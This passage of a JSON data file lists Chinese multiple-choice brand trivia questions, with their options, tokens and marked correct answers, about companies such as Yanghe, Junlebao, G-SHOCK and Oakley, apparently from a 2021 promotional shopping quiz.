04:36:53","status":"1"},{"questionId":"6301443027","questionIndex":"4","questionStem":"拉菲莱斯古堡是拉菲集团哪一年购买的?","options":"[{\"optionId\":\"LccSx0BXjD4wCz2Ytln6X_rNOH64-pareRMsxQ\",\"optionDesc\":\"1988年\"},{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XnygZS9aO7XrD_iy-A\",\"optionDesc\":\"1983年\"},{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XEScIWeAshGaLptKFw\",\"optionDesc\":\"1984年\"}]","questionToken":"LccSx0BXjD4wCz3PpRHhDgWtIJhxubSORZurGasU1I04VGLFN_a1bPuH95li-q-MoVUkz45QNMJL4xuAh3ZZNplcJ6lyhQ","correct":"{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XEScIWeAshGaLptKFw\",\"optionDesc\":\"1984年\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"6301443028","questionIndex":"5","questionStem":"洋河酒酿造原料以什么为主?","options":"[{\"optionId\":\"LccSx0BXjD4wBD2Ytln6X15qNBqjfyAm7RLL\",\"optionDesc\":\"小麦、玉米、豌豆\"},{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XpW6hxEiErALUWfb\",\"optionDesc\":\"小麦、玉米、高粱\"},{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XA7GbL2LSVCRFRGX\",\"optionDesc\":\"小麦、大麦、豌豆\\t\\t\"}]","questionToken":"LccSx0BXjD4wBD3OpRHhCaMp-VhWugm-tJoaksbeMu3jc5U0TjJtvJsmTA671j_lrIbqT1yOK-6P5ZN4GJJvTCvs6eletw","correct":"{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XA7GbL2LSVCRFRGX\",\"optionDesc\":\"小麦、大麦、豌豆\\t\\t\"}","create_time":"27/1/2021 04:38:25","update_time":"27/1/2021 04:38:25","status":"1"},{"questionId":"6301443029","questionIndex":"4","questionStem":"洋河酿酒产区坐落于哪个湿地?","options":"[{\"optionId\":\"LccSx0BXjD4wBT2Ytln6X5ea8o5bio1y1EPtug\",\"optionDesc\":\"鄱阳湖\"},{\"optionId\":\"LccSx0BXjD4wBT2Ytln6XCD4AIxioYZO_pzoCQ\",\"optionDesc\":\"洪泽湖\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wBT2Ytln6Xn5JNuiBe_FsVDfNoA\",\"optionDesc\":\"太湖\"}]","questionToken":"LccSx0BXjD4wBT3PpRHhDpoT-Fv6dzzzFS8p86fhRy8fUmdaRillsnmiaLHXXMgF39P7kWYVz7aJjxjenF2u9vRuheBuSQ","correct":"{\"optionId\":\"LccSx0BXjD4wBT2Ytln6XCD4AIxioYZO_pzoCQ\",\"optionDesc\":\"洪泽湖\\t\\t\"}","create_time":"27/1/2021 04:26:03","update_time":"27/1/2021 04:26:03","status":"1"},{"questionId":"6301443030","questionIndex":"3","questionStem":"洋河酒厂有限公司坐落于?","options":"[{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XzhH98pUsCnQ3gE\",\"optionDesc\":\"江苏南京\"},{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XuaG1RE1JcWRKRI\",\"optionDesc\":\"江苏徐州\"},{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XEPiXSovfArROew\",\"optionDesc\":\"江苏宿迁\\t\\t\"}]","questionToken":"LccSx0BXjD4xDD3IpRHhCaaZemkyzCoq5o1ZJ2qa_C8VRPc2Oe80Hve2z1_bzxW26eUuc2i0thprYbMP6QDbMDarCk6EWA","correct":"{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XEPiXSovfArROew\",\"optionDesc\":\"江苏宿迁\\t\\t\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"6301443031","questionIndex":"4","questionStem":"君乐宝至臻系列形象大使是谁?","options":"[{\"optionId\":\"LccSx0BXjD4xDT2Ytln6Xne0wCqX0N1Ku8lf\",\"optionDesc\":\"姚明\"},{\"optionId\":\"LccSx0BXjD4xDT2Ytln6X4BJloj7-2mZVmKk\",\"optionDesc\":\"张继科\"},{\"optionId\":\"LccSx0BXjD4xDT2Ytln6XG9ZMXnHWtWnUgNg\",\"optionDesc\":\"易建联\\t\\t\"}]","questionToken":"LccSx0BXjD4xDT3PpRHhDkZONkYGItwMHC9PRAi-GQIrj1LBJONkx-q040CEmUOqRk6MekFTw4m__aaXDNScoVjjekAE5w","correct":"{\"optionId\":\"LccSx0BXjD4xDT2Ytln6XG9ZMXnHWtWnUgNg\",\"optionDesc\":\"易建联\\t\\t\"}","create_time":"27/1/2021 04:41:08","update_time":"27/1/2021 04:41:08","status":"1"},{"questionId":"6301443032","questionIndex":"4","questionStem":"君乐宝是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XPzrwFOF4sUemG4qKQ\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XoVBTZHWvMbTVNUFdw\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XyIaQksyvDizHk47AA\",\"optionDesc\":\"英国\"}]","questionToken":"LccSx0BXjD4xDj3PpRHhDn8HxcV1n6iiXy4TR1wDWhbnbwO7bzgkgPq6S90NJdjEHkJU1R4tNsRQfMPQMfcu7zL0vzFyOg","correct":"{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XPzrwFOF4sUemG4qKQ\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:41:07","update_time":"27/1/2021 04:41:07","status":"1"},{"questionId":"6301443033","questionIndex":"5","questionStem":"君乐宝优萃系列有机生牛乳通过几次成粉? ","options":"[{\"optionId\":\"LccSx0BXjD4xDz2Ytln6X4k65a7bMoaW-t0\",\"optionDesc\":\"2次\"},{\"optionId\":\"LccSx0BXjD4xDz2Ytln6XGPojhdgOXx-3BQ\",\"optionDesc\":\"1次\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xDz2Ytln6Xjk699Sz4xknLV4\",\"optionDesc\":\"3次\"}]","questionToken":"LccSx0BXjD4xDz3OpRHhCd81jzMz8B7Kky7irdTal6rpUFDVMyhvi_0vwpcclR6pX12_anwH96avhDbnYkbG1jBxP8NuXw","correct":"{\"optionId\":\"LccSx0BXjD4xDz2Ytln6XGPojhdgOXx-3BQ\",\"optionDesc\":\"1次\\t\\t\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"6301443034","questionIndex":"2","questionStem":"君乐宝诠维爱系列包装罐上的是哪个动画片?","options":"[{\"optionId\":\"LccSx0BXjD4xCD2Ytln6XAyANEpRYB6quyM\",\"optionDesc\":\"熊出没\"},{\"optionId\":\"LccSx0BXjD4xCD2Ytln6X_1R33sagPy7krg\",\"optionDesc\":\"花园宝宝\"},{\"optionId\":\"LccSx0BXjD4xCD2Ytln6Xvegkg-z4RfXLH8\",\"optionDesc\":\"喜羊羊与灰太狼\"}]","questionToken":"LccSx0BXjD4xCD3JpRHhDrg4omDF0BxOM7zMPM9UijsESm71oxQOOSeltG9y95TuDkTimxEYy_OHsrSg1aohViX77G-cPg","correct":"{\"optionId\":\"LccSx0BXjD4xCD2Ytln6XAyANEpRYB6quyM\",\"optionDesc\":\"熊出没\"}","create_time":"27/1/2021 04:44:26","update_time":"27/1/2021 04:44:26","status":"1"},{"questionId":"6301443035","questionIndex":"5","questionStem":"君乐宝哪个系列奶粉有助于宝宝骨骼发育?","options":"[{\"optionId\":\"LccSx0BXjD4xCT2Ytln6Xw5uC9As9YrsxwpDNQ\",\"optionDesc\":\"优萃\"},{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XFL5tzOZTOxECLfzxA\",\"optionDesc\":\"至臻\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XgKVwl0h69psK6VbJQ\",\"optionDesc\":\"乐铂\"}]","questionToken":"LccSx0BXjD4xCT3OpRHhCSpel_OUuIug1mAzn11JKOCgq01_UZbTdd-BHtwNwkoXJWuQnN1D5PLtUbsQLBouSrTituB7cw","correct":"{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XFL5tzOZTOxECLfzxA\",\"optionDesc\":\"至臻\\t\\t\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"6301443036","questionIndex":"3","questionStem":"天王表品牌成立了多长时间?","options":"[{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XsFEiUJtbArst9Q\",\"optionDesc\":\"25年\"},{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XCfZHZLtnMCXLU0\",\"optionDesc\":\"33年\"},{\"optionId\":\"LccSx0BXjD4xCj2Ytln6X70gCWjQOWmHvX4\",\"optionDesc\":\"20年\"}]","questionToken":"LccSx0BXjD4xCj3IpRHhDk3uJ-KA-PX9uCQfV-PzhsHQfdyyGPouiTlpyvljwLgvheqKbeDwHgPElesV1L8IzBGkSAv-9A","correct":"{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XCfZHZLtnMCXLU0\",\"optionDesc\":\"33年\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"6301443037","questionIndex":"3","questionStem":"天王表是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XPBPR9oZRdZYH3Q\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XhEiMI0dQCLpkus\",\"optionDesc\":\"韩国\"},{\"optionId\":\"LccSx0BXjD4xCz2Ytln6X_0qPwkvt8saBmA\",\"optionDesc\":\"日本\"}]","questionToken":"LccSx0BXjD4xCz3IpRHhCc0OCGOd6fxZp5yn0OtaXC0to3KmKnoWBZS02VK3tO-cSY9c8oPMqDiRSruS0WPGtQ-Ff5D5mQ","correct":"{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XPBPR9oZRdZYH3Q\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"6301443038","questionIndex":"4","questionStem":"天王表的品牌logo是什么形状的?","options":"[{\"optionId\":\"LccSx0BXjD4xBD2Ytln6X3fVjLgAxUjkeu1HMA\",\"optionDesc\":\"英雄\"},{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XE8ZLY4B1_WX_nW8Qw\",\"optionDesc\":\"皇冠形状\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XoNjgz97nh1vWFanuA\",\"optionDesc\":\"星星\"}]","questionToken":"LccSx0BXjD4xBD3PpRHhDvWIOjV7WzuhnjrfCtymFvZ1Em7J2TQlRptgxQAVQG6koza-AAL0e-Tdozm3B5Ac9j6JqrukYg","correct":"{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XE8ZLY4B1_WX_nW8Qw\",\"optionDesc\":\"皇冠形状\\t\\t\"}","create_time":"27/1/2021 04:43:45","update_time":"27/1/2021 04:43:45","status":"1"},{"questionId":"6301443039","questionIndex":"2","questionStem":"天王表总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XmXW86xOunRk-6o\",\"optionDesc\":\"上海\"},{\"optionId\":\"LccSx0BXjD4xBT2Ytln6X3XtC-J1hVXUhhA\",\"optionDesc\":\"北京\"},{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XN2FvR4p1ffkPck\",\"optionDesc\":\"深圳\\t\\t\"}]","questionToken":"LccSx0BXjD4xBT3JpRHhDixCoz4Dp5dzkLVP9QVgnk_VaJcjLEtdGUtmcabdvvdaNRMZbhKA7ghvM0ONbn2hjWUIk9W8WA","correct":"{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XN2FvR4p1ffkPck\",\"optionDesc\":\"深圳\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443040","questionIndex":"1","questionStem":"天王表年销多少只?","options":"[{\"optionId\":\"LccSx0BXjD42DD2Ytln6XiiANAO3-QbYlOx8KA\",\"optionDesc\":\"200多万\"},{\"optionId\":\"LccSx0BXjD42DD2Ytln6XMmNKquS-59wQAaxEA\",\"optionDesc\":\"300多万\\t\\t\"},{\"optionId\":\"LccSx0BXjD42DD2Ytln6X7Wuz3iCCIB1XUcp2w\",\"optionDesc\":\"100多万\"}]","questionToken":"LccSx0BXjD42DD3KpRHhCdPHn34u7GX3frXSikSxGfEbofkVluUg-IWUnaLLKLBq9MmzIEkKt7ho0Sqeqcv7WZB5EbDElA","correct":"{\"optionId\":\"LccSx0BXjD42DD2Ytln6XMmNKquS-59wQAaxEA\",\"optionDesc\":\"300多万\\t\\t\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"6301443041","questionIndex":"5","questionStem":"天霸成立于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD42DT2Ytln6XOqeORd7RSGaOg4EBg\",\"optionDesc\":\"1982年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42DT2Ytln6XiU-rZZYKQ_cN2evXQ\",\"optionDesc\":\"1985年\"},{\"optionId\":\"LccSx0BXjD42DT2Ytln6Xx3oMbOdVIKo-CG1BA\",\"optionDesc\":\"1983年\"}]","questionToken":"LccSx0BXjD42DT3OpRHhCZDc7wYqwb_X8AIrxlHGQdB8yy1hw06qi8KD2vqIjRqy9jrxJSGjTyi5eznbAZeb96lz9pzH5Q","correct":"{\"optionId\":\"LccSx0BXjD42DT2Ytln6XOqeORd7RSGaOg4EBg\",\"optionDesc\":\"1982年\\t\\t\"}","create_time":"27/1/2021 04:44:19","update_time":"27/1/2021 04:44:19","status":"1"},{"questionId":"6301443042","questionIndex":"1","questionStem":"天霸总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XqOQKm0aHY8ewosMSw\",\"optionDesc\":\"珠海\"},{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XO3jPOhQHx905CKhIQ\",\"optionDesc\":\"深圳\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XyoaylCeC2ULIjwRCQ\",\"optionDesc\":\"广州\"}]","questionToken":"LccSx0BXjD42Dj3KpRHhCeF3mX23zBV6mXDu2eiVpZ01K3Brlf69isNIknn7VYs9p30sVLZp3d1ieZ3Vo1yiEnRyU8qdfQ","correct":"{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XO3jPOhQHx905CKhIQ\",\"optionDesc\":\"深圳\\t\\t\"}","create_time":"27/1/2021 04:36:52","update_time":"27/1/2021 04:36:52","status":"1"},{"questionId":"6301443043","questionIndex":"5","questionStem":"天霸品牌成立了多久?","options":"[{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XJZNyM25rNgFyg\",\"optionDesc\":\"39年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Dz2Ytln6X-251HVDJDgj-Q\",\"optionDesc\":\"20年\"},{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XptGZJeqpIv1Wg\",\"optionDesc\":\"30年\"}]","questionToken":"LccSx0BXjD42Dz3OpRHhDumtaPmPn7iAggQprYdhocd4j9uickMWBauCE8gKqerc56f6anGmZTfxGhCm8TaWnYsBgX-GTg","correct":"{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XJZNyM25rNgFyg\",\"optionDesc\":\"39年\\t\\t\"}","create_time":"27/1/2021 04:41:17","update_time":"27/1/2021 04:41:17","status":"1"},{"questionId":"6301443044","questionIndex":"5","questionStem":"MNO品牌的宣传语是哪个?","options":"[{\"optionId\":\"LccSx0BXjD42CD2Ytln6XpeLBuABYHnZpvBK\",\"optionDesc\":\"拒绝随波逐流\"},{\"optionId\":\"LccSx0BXjD42CD2Ytln6X2QSGgd_78mD69kU\",\"optionDesc\":\"人生时刻的记忆\"},{\"optionId\":\"LccSx0BXjD42CD2Ytln6XNyd3_VFOtWs55xR\",\"optionDesc\":\"梦梭时刻让你感动\"}]","questionToken":"LccSx0BXjD42CD3OpRHhCeOSIG0BDHJbumiKxhuP_1A6BNBMUKGvd7sKJkGEneuSq2_wkuXaLTSB77j0m1yuVz4LqkxH0A","correct":"{\"optionId\":\"LccSx0BXjD42CD2Ytln6XNyd3_VFOtWs55xR\",\"optionDesc\":\"梦梭时刻让你感动\"}","create_time":"27/1/2021 04:45:12","update_time":"27/1/2021 04:45:12","status":"1"},{"questionId":"6301443045","questionIndex":"3","questionStem":"MNO男表的包装盒是什么颜色?","options":"[{\"optionId\":\"LccSx0BXjD42CT2Ytln6Xj0tzCCBEqJ7LObn\",\"optionDesc\":\"红色\"},{\"optionId\":\"LccSx0BXjD42CT2Ytln6X_KVqvukoJf0kw3h\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LccSx0BXjD42CT2Ytln6XEq_viXsLcYGP384\",\"optionDesc\":\"白色\\t\\t\"}]","questionToken":"LccSx0BXjD42CT3IpRHhCT0TdXrIidoX5hWy4fbAEK6QXRS2SUu8xTKuRd6-huv3ooCMj5vSZCys6Qcuqwp72p2M6_tpew","correct":"{\"optionId\":\"LccSx0BXjD42CT2Ytln6XEq_viXsLcYGP384\",\"optionDesc\":\"白色\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"6301443046","questionIndex":"5","questionStem":"G-SHOCK诞生于哪年?","options":"[{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XP52MeTKI6I5RgFK\",\"optionDesc\":\"1983年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XonDL8ophxeg632E\",\"optionDesc\":\"1982年\"},{\"optionId\":\"LccSx0BXjD42Cj2Ytln6X5glCfJVy6AcE5ZK\",\"optionDesc\":\"1981年\"}]","questionToken":"LccSx0BXjD42Cj3OpRHhDpi9WK-AZwyqPA0P_v16mFAU9z51QPw16IPR361V9koV8tAwq9P8njtxUnlwH70p-CJVUs5Gng","correct":"{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XP52MeTKI6I5RgFK\",\"optionDesc\":\"1983年\\t\\t\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"6301443047","questionIndex":"2","questionStem":"卡西欧手表核心卖点是什么?","options":"[{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XBWE5-buyzBcy-k16w\",\"optionDesc\":\"多功能且易操作\\t\"},{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XnNeXzuHBAIyR_17kA\",\"optionDesc\":\"200米防水\"},{\"optionId\":\"LccSx0BXjD42Cz2Ytln6X9Ply2B338V9Lbt6QA\",\"optionDesc\":\"耐摔\"}]","questionToken":"LccSx0BXjD42Cz3JpRHhCQo4MA1iusKaB8fJfZK2I75XmpPzXsw5bhAi2faAFom7mHSqxOO0gCBkdAWUj3earggdSAcZbQ","correct":"{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XBWE5-buyzBcy-k16w\",\"optionDesc\":\"多功能且易操作\\t\"}","create_time":"27/1/2021 04:49:36","update_time":"27/1/2021 04:49:36","status":"1"},{"questionId":"6301443048","questionIndex":"4","questionStem":"G-SHOCK初代表是哪款?","options":"[{\"optionId\":\"LccSx0BXjD42BD2Ytln6X_tr2bD8onozH7Xzyw\",\"optionDesc\":\"DW-5600\"},{\"optionId\":\"LccSx0BXjD42BD2Ytln6Xk16uk_FAtdq4lzjpA\",\"optionDesc\":\"DW-6900\"},{\"optionId\":\"LccSx0BXjD42BD2Ytln6XMrQWmmlVsYUYhmNPA\",\"optionDesc\":\"DW-5000C\\t\\t\"}]","questionToken":"LccSx0BXjD42BD3PpRHhDiMNt653-Iw11uzFgDSWRWD7QGiHPyjZNakUF-ZCROZ9s-MkHhXJGXeP8M-9tFpu1FdF3wH1OQ","correct":"{\"optionId\":\"LccSx0BXjD42BD2Ytln6XMrQWmmlVsYUYhmNPA\",\"optionDesc\":\"DW-5000C\\t\\t\"}","create_time":"27/1/2021 04:51:47","update_time":"27/1/2021 04:51:47","status":"1"},{"questionId":"6301443049","questionIndex":"4","questionStem":"G-SHOCK源于什么信念?","options":"[{\"optionId\":\"LccSx0BXjD42BT2Ytln6XhLkLgkT55wWXmU\",\"optionDesc\":\"创新为上\"},{\"optionId\":\"LccSx0BXjD42BT2Ytln6XGlC9mAiDc0-dc0\",\"optionDesc\":\"造一只坚固的手表\\t\"},{\"optionId\":\"LccSx0BXjD42BT2Ytln6Xx6O9vXvGPaYU4U\",\"optionDesc\":\"突破自我\"}]","questionToken":"LccSx0BXjD42BT3PpRHhCYcywZ57rUWwFfyM4AETXiYAVv9bc9e6jXxN6YFf5vYdVEmFnL0asTXZCteKn7IMxNELuxPHow","correct":"{\"optionId\":\"LccSx0BXjD42BT2Ytln6XGlC9mAiDc0-dc0\",\"optionDesc\":\"造一只坚固的手表\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"6301443050","questionIndex":"4","questionStem":"以下哪个是Oakley的特色主打商品?","options":"[{\"optionId\":\"LccSx0BXjD43DD2Ytln6X-Nw4iFAyVSmC0kv7w\",\"optionDesc\":\"服装\"},{\"optionId\":\"LccSx0BXjD43DD2Ytln6XAFIqCUTOptNgtEa5w\",\"optionDesc\":\"运动太阳镜\\t\\t\"},{\"optionId\":\"LccSx0BXjD43DD2Ytln6XvmT66IdBWdRzEiY_w\",\"optionDesc\":\"头盔\"}]","questionToken":"LccSx0BXjD43DD3PpRHhCSntUkV6RkUcoGOTdMZP7UKmOFNmb9IrpteQHhnVq6Ksd3UalH_l-cUNHDC7ZjrdxaKfI7oVuQ","correct":"{\"optionId\":\"LccSx0BXjD43DD2Ytln6XAFIqCUTOptNgtEa5w\",\"optionDesc\":\"运动太阳镜\\t\\t\"}","create_time":"27/1/2021 03:40:35","update_time":"27/1/2021 03:40:35","status":"1"},{"questionId":"6301443051","questionIndex":"4","questionStem":"Oakley是来自哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD43DT2Ytln6XqYL64AcAJCeSrPTog\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD43DT2Ytln6X0oT0zYe86VEqkLVzg\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LccSx0BXjD43DT2Ytln6XDiwymvh4Li6a5_qOw\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"LccSx0BXjD43DT3PpRHhDvCirOYuGtyu3eIqioN5R-mdfGPCrkGQtfyrE-ZpgVN4IYodAnI9ZEBC__52OvmtTHwouFmrFA","correct":"{\"optionId\":\"LccSx0BXjD43DT2Ytln6XDiwymvh4Li6a5_qOw\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:50:56","update_time":"27/1/2021 04:50:56","status":"1"},{"questionId":"6301443052","questionIndex":"3","questionStem":"Oakley品牌始于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD43Dj2Ytln6X-a1_vOnbx_3r5b4\",\"optionDesc\":\"1980\"},{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XuHcnP_mWcOyvzI5\",\"optionDesc\":\"1985\"},{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XK8ZHfqcViUk9xRh\",\"optionDesc\":\"1975\\t\\t\"}]","questionToken":"LccSx0BXjD43Dj3IpRHhCWdd3vxhevSr6g1H1ECqWDrnPIaAA8PTCBvUsHBUQNFlce5oukeHID9RpO2l4UWq8DcM1C3OjQ","correct":"{\"optionId\":\"LccSx0BXjD43Dj2Ytln6XK8ZHfqcViUk9xRh\",\"optionDesc\":\"1975\\t\\t\"}","create_time":"27/1/2021 04:45:20","update_time":"27/1/2021 04:45:20","status":"1"},{"questionId":"6301443053","questionIndex":"2","questionStem":"Oakley冬季主推产品是什么?","options":"[{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XN88RMy-2Lnxzmc\",\"optionDesc\":\"滑雪镜\\t\\t\"},{\"optionId\":\"LccSx0BXjD43Dz2Ytln6X3j5DPMwVRPWZfs\",\"optionDesc\":\"光学镜\"},{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XoNq7PBqkcu6n1A\",\"optionDesc\":\"休闲太阳镜\"}]","questionToken":"LccSx0BXjD43Dz3JpRHhDg5359siEW4QhFTpDjRa3ApcyKXD3h32pxc7-M13gEE9nHe51EMix_zU-RruZ-TkLLcEYvSkKQ","correct":"{\"optionId\":\"LccSx0BXjD43Dz2Ytln6XN88RMy-2Lnxzmc\",\"optionDesc\":\"滑雪镜\\t\\t\"}","create_time":"27/1/2021 04:49:28","update_time":"27/1/2021 04:49:28","status":"1"},{"questionId":"6301443054","questionIndex":"5","questionStem":"豆本豆的限定农场是在哪个纬度区间?","options":"[{\"optionId\":\"LccSx0BXjD43CD2Ytln6XMcIiwvRJLQW5IZ4QA\",\"optionDesc\":\"北纬43°-53°\\t\\t\"},{\"optionId\":\"LccSx0BXjD43CD2Ytln6X8p6Jx6WwFsnBCGdOQ\",\"optionDesc\":\"北纬32°-42°\"},{\"optionId\":\"LccSx0BXjD43CD2Ytln6XnRmDb19_9fMJxEiGw\",\"optionDesc\":\"北纬46°-56°\"}]","questionToken":"LccSx0BXjD43CD3OpRHhCZLScwxlIwIfnGGCE-3mPI_f3S6Ji1gy9QTZv8vrfQE0P7TPqrkyAv9YWcjuD0bb8JYt2bNtVg","correct":"{\"optionId\":\"LccSx0BXjD43CD2Ytln6XMcIiwvRJLQW5IZ4QA\",\"optionDesc\":\"北纬43°-53°\\t\\t\"}","create_time":"27/1/2021 04:36:29","update_time":"27/1/2021 04:36:29","status":"1"},{"questionId":"6301443055","questionIndex":"5","questionStem":"豆本豆系列豆奶未含糖的产品为?","options":"[{\"optionId\":\"LccSx0BXjD43CT2Ytln6X_elMAdXFY4YFOqOmQ\",\"optionDesc\":\"原味豆奶系列\"},{\"optionId\":\"LccSx0BXjD43CT2Ytln6XgTM8r7RQ5v67FjMmQ\",\"optionDesc\":\"有机豆奶系列\"},{\"optionId\":\"LccSx0BXjD43CT2Ytln6XFEuRAWWOP4-oqvOhw\",\"optionDesc\":\"纯豆奶系列\\t\\t\"}]","questionToken":"LccSx0BXjD43CT3OpRHhDmE1dNoLqyoli4M9VxOQI6F_LKL3b-fVHWlXuTB4Oo7CA3RPI9hcLyNUiIs4njEUxgHGqgj3BQ","correct":"{\"optionId\":\"LccSx0BXjD43CT2Ytln6XFEuRAWWOP4-oqvOhw\",\"optionDesc\":\"纯豆奶系列\\t\\t\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"6301443057","questionIndex":"5","questionStem":"豆本豆的核心卖点是什么?","options":"[{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XN98c-53WfG7ViwfsA\",\"optionDesc\":\"植物营养0负担\"},{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XuP6WJAhUUtp7LlOIw\",\"optionDesc\":\"东北黑土地种植\"},{\"optionId\":\"LccSx0BXjD43Cz2Ytln6X2GDOsuOAHUkT0hCRg\",\"optionDesc\":\"无糖美味\"}]","questionToken":"LccSx0BXjD43Cz3OpRHhDjG997u8sf0CSLqkXoE_E4CgkjOy82L1jiyj_wExwbxfKAwh77YNrXFkyRC7YKedkML3inoAgQ","correct":"{\"optionId\":\"LccSx0BXjD43Cz2Ytln6XN98c-53WfG7ViwfsA\",\"optionDesc\":\"植物营养0负担\"}","create_time":"27/1/2021 04:48:53","update_time":"27/1/2021 04:48:53","status":"1"},{"questionId":"6301443058","questionIndex":"5","questionStem":"豆本豆含有荔枝口味的产品是哪款?","options":"[{\"optionId\":\"LccSx0BXjD43BD2Ytln6XMkaVME_m04vfA\",\"optionDesc\":\"唯甄蜂蜜豆奶系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD43BD2Ytln6Xnc0ZhO1xZKUxA\",\"optionDesc\":\"原味豆奶\"},{\"optionId\":\"LccSx0BXjD43BD2Ytln6X65MnV7wsG3Qgw\",\"optionDesc\":\"唯甄红枣豆奶\"}]","questionToken":"LccSx0BXjD43BD3OpRHhDjmFcCx6TUOrdqGHDCqsKEf1-J3BlZnS7WqpHkSHetW-BSftDvZoMq7Y2dpfLo4X2jkYfjihYw","correct":"{\"optionId\":\"LccSx0BXjD43BD2Ytln6XMkaVME_m04vfA\",\"optionDesc\":\"唯甄蜂蜜豆奶系列\\t\\t\"}","create_time":"27/1/2021 04:33:09","update_time":"27/1/2021 04:33:09","status":"1"},{"questionId":"6301443074","questionIndex":"2","questionStem":"依波路是产自于哪个国家的手表?","options":"[{\"optionId\":\"LccSx0BXjD41CD2Ytln6XvkGmwFu1vBWTDXH\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD41CD2Ytln6XEMUQ6478tBFsLQN\",\"optionDesc\":\"瑞士\\t\\t\"},{\"optionId\":\"LccSx0BXjD41CD2Ytln6Xzvte_rhETb_ubyP\",\"optionDesc\":\"美国\"}]","questionToken":"LccSx0BXjD41CD3JpRHhDodSc7cEU7Lplon_kmspwQckO-fLDP26Lvm_zukJaiayCZ3ZYKcOBQ4Al-bZPefgnqEvmwzUQA","correct":"{\"optionId\":\"LccSx0BXjD41CD2Ytln6XEMUQ6478tBFsLQN\",\"optionDesc\":\"瑞士\\t\\t\"}","create_time":"27/1/2021 04:32:32","update_time":"27/1/2021 